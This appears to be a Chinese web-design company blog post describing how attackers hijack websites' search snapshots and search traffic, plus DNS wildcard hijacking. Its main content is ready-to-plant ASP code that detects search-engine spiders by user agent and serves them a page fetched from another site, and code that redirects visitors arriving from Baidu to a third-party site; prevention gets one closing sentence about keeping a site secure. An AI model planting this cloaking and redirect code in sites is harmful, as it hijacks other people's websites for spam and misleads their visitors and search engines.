網(wǎng)站引擎劫持,網(wǎng)站快照劫持,新聞源劫持如何操作與防范

2021-03-04    分類: 網(wǎng)站建設(shè)

前兩天看到有網(wǎng)友問(wèn)網(wǎng)站引擎劫持,網(wǎng)站快照劫持,新聞源劫持是怎么操作的。結(jié)果大多數(shù)網(wǎng)友都表示不了解,我今天來(lái)跟大家分享一下網(wǎng)站劫持是怎么操作的,如何防范。

1.網(wǎng)站快照劫持

動(dòng)態(tài)頁(yè)面首頁(yè)通過(guò)在PHP或者ASP,ASPX文件中添加判斷代碼,判斷如果是蜘蛛訪問(wèn)就修改標(biāo)題內(nèi)容,在標(biāo)題內(nèi)容寫(xiě)入聯(lián)系方式和非法廣告信息,如果不是蜘蛛訪問(wèn)就不做修改。

靜態(tài)頁(yè)面首頁(yè),在下午三點(diǎn)左右刪除你的.html文件,添加inde.php,php中寫(xiě)入類似上面的語(yǔ)句,如果是蜘蛛就返回修改了標(biāo)題的首頁(yè)內(nèi)容,不是就返回正常內(nèi)容。

快照劫持比較討厭,就算你修復(fù)了劫持,百度上還是會(huì)顯示很長(zhǎng)一段時(shí)間的非法快照信息。

代碼如下:

<%

function GetBot()

'查詢蜘蛛

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT") '關(guān)鍵判斷語(yǔ)句

if instr(1,s_agent,"googlebot",1) >0 then

GetBot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

GetBot="MSN"

end if

if instr(1,s_agent,"slurp",1) >0 then

GetBot="Yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

GetBot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

GetBot="Sohu"

end if

if instr(1,s_agent,"lycos",1) >0 then

GetBot="Lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

GetBot="Robozilla"

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,"GB2312")'編碼

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot="baidu" then

'給百度蜘蛛定制的內(nèi)容

url="http://baidu.seowhy.com"

'想要展示給蜘蛛的頁(yè)面地址

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

elseif GetBot="google" then

'給google 蜘蛛定制的內(nèi)容

url="http://baidu.seowhy.com"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

end if

2.搜索引擎流量劫持

這種劫持比快照劫持簡(jiǎn)單,直接在首頁(yè)添加,判斷訪問(wèn)來(lái)路是搜索引擎還是其它的JS代碼,當(dāng)來(lái)路是搜索引擎的時(shí)候就跳轉(zhuǎn)到目標(biāo)站。

代碼如下:

<%

ifinstr(Request.ServerVariables("http_referer"),"www.baidu.com")>0then

'如果用戶來(lái)自www.baidu.com

response.redirect("http://baidu.seowhy.com/")

'跳轉(zhuǎn)指定地址

end if

%>

3.DNS白菜站劫持

在域名解析里添加泛解析到目標(biāo)地址,在目標(biāo)地址主機(jī)上大量生成劫持域名的子站。

總結(jié):1和2需要獲得網(wǎng)站的WEBSHELL或者FTP,如果獲得了新聞源網(wǎng)站的這種權(quán)限,就可以做新聞源劫持;3需要獲得DNS管理帳號(hào)。所以造成網(wǎng)站被劫持的主要原因還是自己網(wǎng)站被入侵,或者被掃FTP的挖掘機(jī)掃出了FTP帳號(hào)等,網(wǎng)絡(luò)安全沒(méi)做好的原因。所以只要網(wǎng)絡(luò)安全到位,別人是劫持不你的網(wǎng)站的。歡迎大家持續(xù)關(guān)注北京網(wǎng)站建設(shè)公司的網(wǎng)站,希望大家能夠從創(chuàng)新的網(wǎng)站中學(xué)到東西,增強(qiáng)自己的知識(shí)。

本文名稱:網(wǎng)站引擎劫持,網(wǎng)站快照劫持,新聞源劫持如何操作與防范
URL標(biāo)題:http://www.bm7419.com/news18/104168.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、靜態(tài)網(wǎng)站、關(guān)鍵詞優(yōu)化、動(dòng)態(tài)網(wǎng)站網(wǎng)站建設(shè)、搜索引擎優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化